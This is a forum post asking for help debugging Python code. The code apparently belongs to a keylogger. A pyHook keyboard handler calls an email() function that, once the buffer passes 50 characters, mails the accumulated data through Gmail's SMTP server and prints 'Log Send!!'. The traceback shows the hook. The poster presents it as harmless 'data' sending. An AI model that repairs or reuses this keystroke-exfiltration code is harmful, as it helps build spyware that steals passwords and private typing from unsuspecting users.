Hi, I am using a python snippet that will send some data after the data length reaches a particular length. So it is supposed to loop and periodically sends the data to an email. i am using smtplib to send mail. i will attach the code snippet.
def email(): global data if len(data)>50: ts = datetime.datetime.now() SERVER = "smtp.gmail.com" #Specify Server Here PORT = "587" #Specify Port Here USER="a...@gmail.com"#Specify Username Here PASS="mypassword"#Specify Password Here FROM = USER#From address is taken from username TO = ["a...@gmail.com"] #Specify to address.Use comma if more than one to address is needed. SUBJECT = " Data at: "+str(ts) MESSAGE = data # formating final email body message = """\ From: %s To: %s Subject: %s %s """ % (FROM, ", ".join(TO), SUBJECT, MESSAGE) server = smtplib.SMTP() server.connect(SERVER,PORT) server.starttls() server.login(USER,PASS) server.sendmail(FROM, TO, message) server.quit() print 'Log Send!!' data='' return True This function email() is called periodically and is in a loop. the program just execute once and keep running in the loop without exiting but the data is mailed only once. i will also attache the Traceback details: Traceback (most recent call last): File "c:\Python27\lib\site-packages\pyHook\HookManager.py", line 351, in Keybo ardSwitch return func(event) File "key2.py", line 132, in keypressed email() File "key2.py", line 83, in email server = smtplib.SMTP() File "c:\Python27\lib\smtplib.py", line 258, in __init__ fqdn = socket.getfqdn() File "c:\Python27\lib\socket.py", line 142, in getfqdn for name in aliases: TypeError: an integer is required Log Send!! I believe someone can help on this matter.
